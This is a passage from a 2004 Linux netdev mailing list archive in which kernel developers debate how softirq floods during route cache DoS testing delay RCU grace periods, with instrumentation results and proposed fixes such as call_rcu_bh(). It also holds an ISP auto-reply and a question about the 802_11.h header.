code was broken too, it wasn't me breaking the code, I only simplified already broken code instead of fixing it for real. His tree should get the proper fixes soon. All those __ in front of the set_current_state in that function made the ordering worthless and that's why I cleaned them up. The softirq part in the patch however is orthogonal to the above races, so I didn't post an update since it didn't impact testing. From dipankar@in.ibm.com Tue Mar 30 11:54:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 11:55:13 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UJsuKO032373 for ; Tue, 30 Mar 2004 11:54:56 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2UJru0Y701892; Tue, 30 Mar 2004 14:53:57 -0500 Received: from soprano.in.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2UJrpqJ372100; Tue, 30 Mar 2004 12:53:55 -0700 Received: by soprano.in.ibm.com (Postfix, from userid 500) id 7EBF37C52A; Wed, 31 Mar 2004 01:23:15 +0530 (IST) Date: Wed, 31 Mar 2004 01:23:15 +0530 From: Dipankar Sarma To: Andrea Arcangeli Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330195315.GB3773@in.ibm.com> Reply-To: dipankar@in.ibm.com References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> <20040330144324.GA3778@in.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040330144324.GA3778@in.ibm.com> User-Agent: Mutt/1.4.1i X-archive-position: 4346 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 2862 Lines: 62 On Tue, Mar 30, 2004 at 08:13:24PM +0530, Dipankar Sarma wrote: > On Tue, Mar 30, 2004 at 12:29:26AM +0200, Andrea Arcangeli wrote: > > So you're simply asking the ksoftirqd offloading to become more > > aggressive, and to make the softirq even more scheduler friendly, > > something I never had a reason to do yet, since ksoftirqd already > > eliminates the starvation issue, and secondly because I did care about > > the performance of softirq first (delaying softirqs is derimental for > > performance if it happens frequently w/o this kind of flood-load). I > > even got a patch for 2.4 doing this kind of changes to the softirqd for > > similar reasons on embedded systems where the cpu spent on the softirqs > > would been way too much under attack. I had to back it out since it was > > causing drop of performance in specweb or something like that and nobody > > but the embdedded people needed it. But now here we've a case where it > > makes even more sense since the hardirq aren't strictly related to this > > load, this load with the rcu-routing-cache is just about letting the > > scheduler go together witn an intensive softirq load. So we can try > > again with a truly userspace throttling of the softirqs (and in 2.4 I > > didn't change the nice from 19 to -20 so maybe this will just work > > perfectly). > > Tried it and it didn't work. I still got dst cache overflows. I will dig > out more numbers about what what happened - is ksoftirqd a pig still or > we are mostly doing short softirq bursts on the back of a hardirq > flood. It doesn't look as if we are processing much from ksoftirqd at all in this case. I did the following instrumentation - if (in_interrupt() && local_softirqd_running()) return; max_restart = MAX_SOFTIRQ_RESTART; local_irq_save(flags); if (rcu_trace) { int cpu = smp_processor_id(); per_cpu(softirq_count, cpu)++; if (local_softirqd_running() && current == __get_cpu_var(ksoftirqd)) per_cpu(ksoftirqd_count, cpu)++; else if (!in_interrupt()) per_cpu(other_softirq_count, cpu)++; } pending = local_softirq_pending(); A look at the softirq_count, ksoftirqd_count and other_softirq_count shows - CPU 0 : 638240 554 637686 CPU 1 : 102316 1 102315 CPU 2 : 675696 557 675139 CPU 3 : 102305 0 102305 So, it doesn't seem supprising that your ksoftirqd offloading didn't really help much. The softirq frequency and grace period graph looks pretty much same without that patch - http://lse.sourceforge.net/locking/rcu/rtcache/pktgen/andrea/cpu-softirq.png We are simply calling do_softirq() too much it seems and not letting other things run on the system. Perhaps we need to look at real throttling of softirqs ? Thanks Dipankar From kuznet@ms2.inr.ac.ru Tue Mar 30 12:05:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 12:05:37 -0800 (PST) Received: from yakov.inr.ac.ru ([194.67.69.111]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UK5RKO000412 for ; Tue, 30 Mar 2004 12:05:28 -0800 Received: (from kuznet@localhost) by yakov.inr.ac.ru (8.6.13/ANK) id AAA00466; Wed, 31 Mar 2004 00:05:05 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200403302005.AAA00466@yakov.inr.ac.ru> Subject: Re: route cache DoS testing and softirqs To: andrea@suse.de (Andrea Arcangeli) Date: Wed, 31 Mar 2004 00:05:05 +0400 (MSD) Cc: dipankar@in.ibm.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com (Paul E. McKenney), davem@redhat.com (Dave Miller), kuznet@ms2.inr.ac.ru (Alexey Kuznetsov), akpm@osdl.org (Andrew Morton) In-Reply-To: <20040329222926.GF3808@dualathlon.random> from "Andrea Arcangeli" at íÁÒ 30, 2004 12:29:26 X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4347 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Content-Length: 3094 Lines: 67 Hello! > > Robert demonstrated to us sometime ago with a small > > timestamping user program to show that it can get starved for > > more than 6 seconds in his system. So userland starvation is an > > issue. > > softirqs are already capable of being offloaded to scheduler-friendy > kernel threads to avoid starvation, if this wasn't the case NAPI would > have no way to work in the first place and everything else would fall > apart too, not just the rcu-route-cache. I don't think high latencies > and starvation are the same thing, starvation means for "indefinite > time" and you can't hang userspace for indefinite time using softirqs. > For sure the irq based load, and in turn softirqs too, can take a large > amount of cpu (though not 100%, this is why it cannot be called > starvation). > > the only real starvation you can claim is in presence of an _hard_irq > flood, not a softirq one. There are no hardirqs in the case under investigation, remember? What's about the problem it really splits to two ones: 1. The _new_ problem when bad latency of rcu hurts core functionality. This is precise description: > to keep up with the softirq load. This has never been the case so far, > and serving softirq as fast as possible is normally a good thing for > server/firewalls, the small unfariness (note unfariness != starvation) > it generates has never been an issue, because so far the softirq never > required the scheduler to work in order to do their work, rcu changed > this in the routing cache specific case. We had one full solution for this issue not changing anything in scheduler/softirq relationship: to run rcu task for the things sort of dst cache not from process context, but essentially as part of do_softirq(). Simple, stupid and apparently solves new problems which rcu created. Another solution is just to increase memory consumption limits to deal with current rcu latency. F.e. 300ms latency just requires additional space for pps*300ms objects, which are handled by RCU. The problem with this is that pps is the thing which increases when cpu power grows and that 300ms is not a mathematically established limit too. > So you're simply asking the ksoftirqd offloading to become more > aggressive, It is the second challenge. Andrea, it is experimenatl fact: this "small unfariness" stalls process contexts for >=6 seconds and gives them microscopic slices. We could live with this (provided RCU problem is solved in some way). Essentially, the only trouble for me was that we could use existing rcu bits to make offloading to ksoftirqd more smart (not aggressive, _smart_). The absense of RCU quiescent states looks too close to absence of forward progress in process contexts, it was anticipating similarity. The dumb throttling do_softirq made not from ksoftirqd context when starvation is detected which we tested the last summer is not only ugly, it really might hurt router performance, you are right here too. It is the challenge: or we proceed with this idea and invent something, or we just forget about this concentrating on RCU. Alexey From MAILER-DAEMON@oss.sgi.com Tue Mar 30 12:09:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 12:09:55 -0800 (PST) Received: from pob2.pacific.net.in (pob2.pacific.net.in [203.123.176.53]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UK9pKO000776 for ; Tue, 30 Mar 2004 12:09:53 -0800 To: netdev@oss.sgi.com From: Info mailbox (auto reply) Subject: Re: Mail Delivery (failure info@pacific.net.in) Date: Wed, 31 Mar 2004 01:39:38 +0530 Message-ID: <20040330200938.AAA5010@pob2.pacific.net.in> MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-archive-position: 4348 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: info@pacific.net.in Precedence: bulk X-list: netdev Content-Length: 928 Lines: 30 This is a confirmation that we have received your e-mail. Thank you for sending your query to Pacific Internet Customer Support. We will get back to you as soon as possible. If you need to reach us quickly, please call us at the following service numbers: For Mumbai: Customer Support : 91-22-2498 0803 (Monday to Saturday: 8am-8pm) Technical Support : 91-22-2498 1040 (24 hours) For Bangalore: Customer Support : 91-80-841 1800 (Monday to Saturday: 9am-8pm) Technical Support : 91-80-841 1803 (24 hours) For Pune: Customer Support : 91-20-400 4111 (Monday to Saturday: 8am-8pm) Technical Support : 91-20-401 0500 (24 hours) For any technical questions, you may want to address them directly to help@pacific.net.in For any Sales related queries, you may address your emails to sales@pacific.net.in We look forward to being of assistance to you. Best regards Customer Support Team Pacific Internet India Pvt. Ltd. From proski@gnu.org Tue Mar 30 12:29:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 12:29:26 -0800 (PST) Received: from fencepost.gnu.org (fencepost.gnu.org [199.232.76.164]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UKT4KO004326 for ; Tue, 30 Mar 2004 12:29:04 -0800 Received: from proski by fencepost.gnu.org with local (Exim 4.24) id 1B8Pqf-00036r-VY; Tue, 30 Mar 2004 15:28:38 -0500 Date: Tue, 30 Mar 2004 15:28:58 -0500 (EST) From: Pavel Roskin X-X-Sender: proski@marabou.research.att.com To: netdev@oss.sgi.com cc: Jean Tourrilhes Subject: linux/802_11.h header Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4349 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: proski@gnu.org Precedence: bulk X-list: netdev Content-Length: 743 Lines: 21 Hello! I see that include/linux/802_11.h in Linux 2.6.5-rc2-bk9 is included by only one file, namely drivers/net/wireless/atmel_cs.c. In fact, atmel_cs.c doesn't need it (tested by compiling it). The 802_11.h header contains some definitions already present in drivers/net/wireless/ieee802_11.h, which is used by some drivers. For instance, frame subtypes are listed in both. 802_11.h also has useful definitions that should be elsewhere, such as ieee_802_3_header and ieee_802_11_802_2_header. I was tempted to use some definitions from 802_11.h, but then realized that it may be deprecated if nobody is using it. Does anybody know who wrote 802_11.h, whether it's deprecated, and if not, why it's not used? -- Regards, Pavel Roskin From dipankar@in.ibm.com Tue Mar 30 12:29:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 12:30:03 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UKTvKO004418 for ; Tue, 30 Mar 2004 12:29:57 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2UKT19x494140; Tue, 30 Mar 2004 15:29:01 -0500 Received: from soprano.in.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2UKSvqJ372570; Tue, 30 Mar 2004 13:28:59 -0700 Received: by soprano.in.ibm.com (Postfix, from userid 500) id 504857C52A; Wed, 31 Mar 2004 01:58:21 +0530 (IST) Date: Wed, 31 Mar 2004 01:58:21 +0530 From: Dipankar Sarma To: kuznet@ms2.inr.ac.ru Cc: Andrea Arcangeli , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, "Paul E. McKenney" , Dave Miller , Andrew Morton Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330202820.GA3956@in.ibm.com> Reply-To: dipankar@in.ibm.com References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200403302005.AAA00466@yakov.inr.ac.ru> User-Agent: Mutt/1.4.1i X-archive-position: 4350 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 3004 Lines: 60 On Wed, Mar 31, 2004 at 12:05:05AM +0400, kuznet@ms2.inr.ac.ru wrote: > What's about the problem it really splits to two ones: > > 1. The _new_ problem when bad latency of rcu hurts core > functionality. This is precise description: Which essentially happens due to userland starvation during a softirq flood. > > > to keep up with the softirq load. This has never been the case so far, > > and serving softirq as fast as possible is normally a good thing for > > server/firewalls, the small unfariness (note unfariness != starvation) > > it generates has never been an issue, because so far the softirq never > > required the scheduler to work in order to do their work, rcu changed > > this in the routing cache specific case. > > We had one full solution for this issue not changing anything > in scheduler/softirq relationship: to run rcu task for the things > sort of dst cache not from process context, but essentially as part > of do_softirq(). Simple, stupid and apparently solves new problems > which rcu created. Can you be a little bit more specific about this solution ? There were a number of them discussed during our private emails and I can't tell which one you are talking about. > Another solution is just to increase memory consumption limits > to deal with current rcu latency. F.e. 300ms latency just requires > additional space for pps*300ms objects, which are handled by RCU. > The problem with this is that pps is the thing which increases > when cpu power grows and that 300ms is not a mathematically established > limit too. I don't think increasing memory consumption limit is a good idea. > Andrea, it is experimenatl fact: this "small unfariness" stalls process > contexts for >=6 seconds and gives them microscopic slices. We could live > with this (provided RCU problem is solved in some way). Essentially, > the only trouble for me was that we could use existing rcu bits to make > offloading to ksoftirqd more smart (not aggressive, _smart_). The absense > of RCU quiescent states looks too close to absence of forward progress > in process contexts, it was anticipating similarity. The dumb throttling > do_softirq made not from ksoftirqd context when starvation is detected > which we tested the last summer is not only ugly, it really might hurt > router performance, you are right here too. It is the challenge: > or we proceed with this idea and invent something, or we just forget > about this concentrating on RCU. Exactly. And the throttling will likely not be enough by ksoftirqd as indicated by my earlier experiments. We have potential fixes for RCU through a call_rcu_bh() interface where completion of a softirq handler is a quiescent state. I am working on forward porting that old patch from our discussion last year and testing in my environment. That should increase the number of quiescent state points significantly and hopefully reduce the grace period significantly. But this does nothing to help userland starvation. Thanks Dipankar From andrea@suse.de Tue Mar 30 12:47:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 12:47:44 -0800 (PST) Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it [217.133.42.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UKlbKO005095 for ; Tue, 30 Mar 2004 12:47:40 -0800 Received: by dualathlon.random (Postfix, from userid 500) id 577C04A4E; Tue, 30 Mar 2004 22:47:32 +0200 (CEST) Date: Tue, 30 Mar 2004 22:47:32 +0200 From: Andrea Arcangeli To: Dipankar Sarma Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330204731.GG3808@dualathlon.random> References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> <20040330144324.GA3778@in.ibm.com> <20040330195315.GB3773@in.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040330195315.GB3773@in.ibm.com> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49 C012 DFA1 686E 68B9 CB43 X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC C0 4B 81 1D 8C 15 C8 E5 X-archive-position: 4351 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: netdev Content-Length: 2402 Lines: 56 On Wed, Mar 31, 2004 at 01:23:15AM +0530, Dipankar Sarma wrote: > It doesn't look as if we are processing much from ksoftirqd at > all in this case. I did the following instrumentation - > > if (in_interrupt() && local_softirqd_running()) > return; > max_restart = MAX_SOFTIRQ_RESTART; > local_irq_save(flags); > > if (rcu_trace) { > int cpu = smp_processor_id(); > per_cpu(softirq_count, cpu)++; > if (local_softirqd_running() && current == __get_cpu_var(ksoftirqd)) > per_cpu(ksoftirqd_count, cpu)++; > else if (!in_interrupt()) > per_cpu(other_softirq_count, cpu)++; > } > pending = local_softirq_pending(); > > A look at the softirq_count, ksoftirqd_count and other_softirq_count shows - > > CPU 0 : 638240 554 637686 > CPU 1 : 102316 1 102315 > CPU 2 : 675696 557 675139 > CPU 3 : 102305 0 102305 > > So, it doesn't seem supprising that your ksoftirqd offloading didn't > really help much. The softirq frequency and grace period graph > looks pretty much same without that patch - > > http://lse.sourceforge.net/locking/rcu/rtcache/pktgen/andrea/cpu-softirq.png > > We are simply calling do_softirq() too much it seems and not letting > other things run on the system. Perhaps we need to look at real > throttling of softirqs ? > I see what's going on now, yes my patch cannot help. the workload is simply generating too much hardirq load, and it's like if we don't use softirq at all but that we process the packet inside the hardirq for this matter. As far as RCU is concerned it's like if there a no softirq at all but that we process everything in the hardirq. so what you're looking after is a new feature then: 1) rate limit the hardirqs 2) rate limit only part of the irq load (i.e. the softirq, that's handy since it's already splitted out) to scheduler-aware context (not inside irq context anymore) 3) stop processing packets in irqs in the first place (NAPI or similar) however I start to think they can be all wrong, and that rcu is simply not suitable for purerely irq usages like this. w/o rcu there would be no need of the scheduler keeping up with the irq load, and in some usage I can imagine that it is a feature to prioritize heavily on the irq load vs scheduler-aware context. From dipankar@in.ibm.com Tue Mar 30 13:08:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 13:08:36 -0800 (PST) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2UL8MKO005653 for ; Tue, 30 Mar 2004 13:08:26 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2UL7SJr435528; Tue, 30 Mar 2004 16:07:28 -0500 Received: from soprano.in.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2UL7N72125350; Tue, 30 Mar 2004 16:07:26 -0500 Received: by soprano.in.ibm.com (Postfix, from userid 500) id 518317C52A; Wed, 31 Mar 2004 02:36:48 +0530 (IST) Date: Wed, 31 Mar 2004 02:36:48 +0530 From: Dipankar Sarma To: Andrea Arcangeli Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330210648.GB3956@in.ibm.com> Reply-To: dipankar@in.ibm.com References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> <20040330144324.GA3778@in.ibm.com> <20040330195315.GB3773@in.ibm.com> <20040330204731.GG3808@dualathlon.random> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040330204731.GG3808@dualathlon.random> User-Agent: Mutt/1.4.1i X-archive-position: 4352 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 1605 Lines: 34 On Tue, Mar 30, 2004 at 10:47:32PM +0200, Andrea Arcangeli wrote: > I see what's going on now, yes my patch cannot help. the workload is > simply generating too much hardirq load, and it's like if we don't use > softirq at all but that we process the packet inside the hardirq for > this matter. As far as RCU is concerned it's like if there a no softirq > at all but that we process everything in the hardirq. > > so what you're looking after is a new feature then: > > 1) rate limit the hardirqs > 2) rate limit only part of the irq load (i.e. the softirq, that's handy > since it's already splitted out) to scheduler-aware context (not > inside irq context anymore) There were a number of somewhat ugly softirq limiting patches that Robert tried out (not spitting them to scheduler-aware context) and some combination of that worked well in Robert's setup. I will see if I can revive that. That said, we would need to find out how badly we affect network performance with that thing. > 3) stop processing packets in irqs in the first place (NAPI or similar) > > however I start to think they can be all wrong, and that rcu is simply > not suitable for purerely irq usages like this. w/o rcu there would be > no need of the scheduler keeping up with the irq load, and in some usage > I can imagine that it is a feature to prioritize heavily on the > irq load vs scheduler-aware context. Not necessarily, we can do a call_rcu_bh() just for softirqs with softirq handler completion as a quiescent state. That will likely help with the route cache overflow problem atleast. Thanks Dipankar From andrea@suse.de Tue Mar 30 13:14:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 13:15:00 -0800 (PST) Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it [217.133.42.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ULEuKO011090 for ; Tue, 30 Mar 2004 13:14:57 -0800 Received: by dualathlon.random (Postfix, from userid 500) id AC21E4A67; Tue, 30 Mar 2004 23:14:50 +0200 (CEST) Date: Tue, 30 Mar 2004 23:14:50 +0200 From: Andrea Arcangeli To: kuznet@ms2.inr.ac.ru Cc: dipankar@in.ibm.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, "Paul E. McKenney" , Dave Miller , Andrew Morton Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330211450.GI3808@dualathlon.random> References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200403302005.AAA00466@yakov.inr.ac.ru> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49 C012 DFA1 686E 68B9 CB43 X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC C0 4B 81 1D 8C 15 C8 E5 X-archive-position: 4353 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: netdev Content-Length: 4606 Lines: 94 On Wed, Mar 31, 2004 at 12:05:05AM +0400, kuznet@ms2.inr.ac.ru wrote: > Hello! > > > > Robert demonstrated to us sometime ago with a small > > > timestamping user program to show that it can get starved for > > > more than 6 seconds in his system. So userland starvation is an > > > issue. > > > > softirqs are already capable of being offloaded to scheduler-friendy > > kernel threads to avoid starvation, if this wasn't the case NAPI would > > have no way to work in the first place and everything else would fall > > apart too, not just the rcu-route-cache. I don't think high latencies > > and starvation are the same thing, starvation means for "indefinite > > time" and you can't hang userspace for indefinite time using softirqs. > > For sure the irq based load, and in turn softirqs too, can take a large > > amount of cpu (though not 100%, this is why it cannot be called > > starvation). > > > > the only real starvation you can claim is in presence of an _hard_irq > > flood, not a softirq one. > > There are no hardirqs in the case under investigation, remember? no hardirqs? there must be tons of hardirqs if ksoftirqd never runs. > > What's about the problem it really splits to two ones: > > 1. The _new_ problem when bad latency of rcu hurts core > functionality. This is precise description: > > > to keep up with the softirq load. This has never been the case so far, > > and serving softirq as fast as possible is normally a good thing for > > server/firewalls, the small unfariness (note unfariness != starvation) > > it generates has never been an issue, because so far the softirq never > > required the scheduler to work in order to do their work, rcu changed > > this in the routing cache specific case. > > We had one full solution for this issue not changing anything > in scheduler/softirq relationship: to run rcu task for the things > sort of dst cache not from process context, but essentially as part > of do_softirq(). Simple, stupid and apparently solves new problems > which rcu created. I don't understand exactly the details of how this works but I trust you ;) > Another solution is just to increase memory consumption limits > to deal with current rcu latency. F.e. 300ms latency just requires > additional space for pps*300ms objects, which are handled by RCU. > The problem with this is that pps is the thing which increases > when cpu power grows and that 300ms is not a mathematically established > limit too. I consider this more a workaround than a solution ;). It also depends how much boost you get from the rcu scalability in smp to evaluate if the above solution could be worthwhile, I don't know the exact numbers myself. > > So you're simply asking the ksoftirqd offloading to become more > > aggressive, > > It is the second challenge. > > Andrea, it is experimenatl fact: this "small unfariness" stalls process > contexts for >=6 seconds and gives them microscopic slices. We could live > with this (provided RCU problem is solved in some way). Essentially, yes, we could live with this if it wasn't for RCU not making any progress and the irq load depending on the RCU to make progress. > the only trouble for me was that we could use existing rcu bits to make > offloading to ksoftirqd more smart (not aggressive, _smart_). The absense > of RCU quiescent states looks too close to absence of forward progress > in process contexts, it was anticipating similarity. The dumb throttling > do_softirq made not from ksoftirqd context when starvation is detected > which we tested the last summer is not only ugly, it really might hurt > router performance, you are right here too. It is the challenge: > or we proceed with this idea and invent something, or we just forget > about this concentrating on RCU. So basically you're suggesting to use the rcu grace period "timeout" to choose when to defer the softirq load to userspace, right? That should work. I mean, it will need some instrumentation to define the "timeout", but it's very similar to the patch I already posted, rather than local_softirqd_running() we'll check for rcu_timed_out() and we'll wakeup ksofitrqd in that case and we'll return immediatly from do_softirq. That will still risk to lose some packet from the backlog though, since we'll process softirqs at a slower peace (but that's partly the feature). That sounds a bit too rcu centric though, I mean, if we do this, maybe we should make it indipendent from rcu, and we could detect a too long time spent in softirq load, and we can offload softirqs in function of that instead of the rcu_timed_out() thing. From andrea@suse.de Tue Mar 30 13:27:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 13:28:09 -0800 (PST) Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it [217.133.42.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ULReKO011656 for ; Tue, 30 Mar 2004 13:27:45 -0800 Received: by dualathlon.random (Postfix, from userid 500) id BB8314A67; Tue, 30 Mar 2004 23:27:35 +0200 (CEST) Date: Tue, 30 Mar 2004 23:27:35 +0200 From: Andrea Arcangeli To: Dipankar Sarma Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton Subject: Re: route cache DoS testing and softirqs Message-ID: <20040330212735.GJ3808@dualathlon.random> References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> <20040330144324.GA3778@in.ibm.com> <20040330195315.GB3773@in.ibm.com> <20040330204731.GG3808@dualathlon.random> <20040330210648.GB3956@in.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040330210648.GB3956@in.ibm.com> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49 C012 DFA1 686E 68B9 CB43 X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC C0 4B 81 1D 8C 15 C8 E5 X-archive-position: 4354 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: netdev Content-Length: 1614 Lines: 28 On Wed, Mar 31, 2004 at 02:36:48AM +0530, Dipankar Sarma wrote: > Not necessarily, we can do a call_rcu_bh() just for softirqs with > softirq handler completion as a quiescent state. That will likely > help with the route cache overflow problem atleast. cute, I like this. You're right all we care about is a quiscient point against softirq context (this should work fine against regular kernel context under local_bh_disable too). This really sounds a smart and optimal and finegriend solution to me. The only thing I'm concerned about is if it slowdown further the fast paths, but I can imagine that you can implement it purerly with tasklets and no change to the fast paths (I mean, I wouldn't enjoy further instrumentations like the stuff you had to add to the scheduler especially in the preempt case). I mean, you've just to run 1 magic takklet per cpu then you declare the quiscient point. The only annoyance will be the queueing of these tasklets in every cpu, that may need IPIs or some nasty locking. Of course we should use the higher prio tasklets, so they run before the other softirqs. Is this the suggestion from Alexey or did he suggest something else? the details of his suggestion weren't clear to me. after call_rcu_bh everything else w.r.t. softirq/scheduler will return low prio. I mean, the everything else will return a "irq load (hardirq+softirq) runs on top of kernel context and they're not accounted by the scheduler" like it has always been in the last thousand kernel releases ;) that may need solving eventually, but still the routing cache sounds optimal with the call_rcu_bh. From Robert.Olsson@data.slu.se Tue Mar 30 13:29:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 13:30:00 -0800 (PST) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ULTsKO012023 for ; Tue, 30 Mar 2004 13:29:57 -0800 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.12.10/8.12.10) with ESMTP id i2ULTinC006574; Tue, 30 Mar 2004 23:29:44 +0200 Received: by robur.slu.se (Postfix, from userid 1000) id 51516903D5; Tue, 30 Mar 2004 23:29:44 +0200 (CEST) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16489.59080.303710.986410@robur.slu.se> Date: Tue, 30 Mar 2004 23:29:44 +0200 To: Andrea Arcangeli Cc: Dipankar Sarma , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton Subject: Re: route cache DoS testing and softirqs In-Reply-To: <20040330204731.GG3808@dualathlon.random> References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> 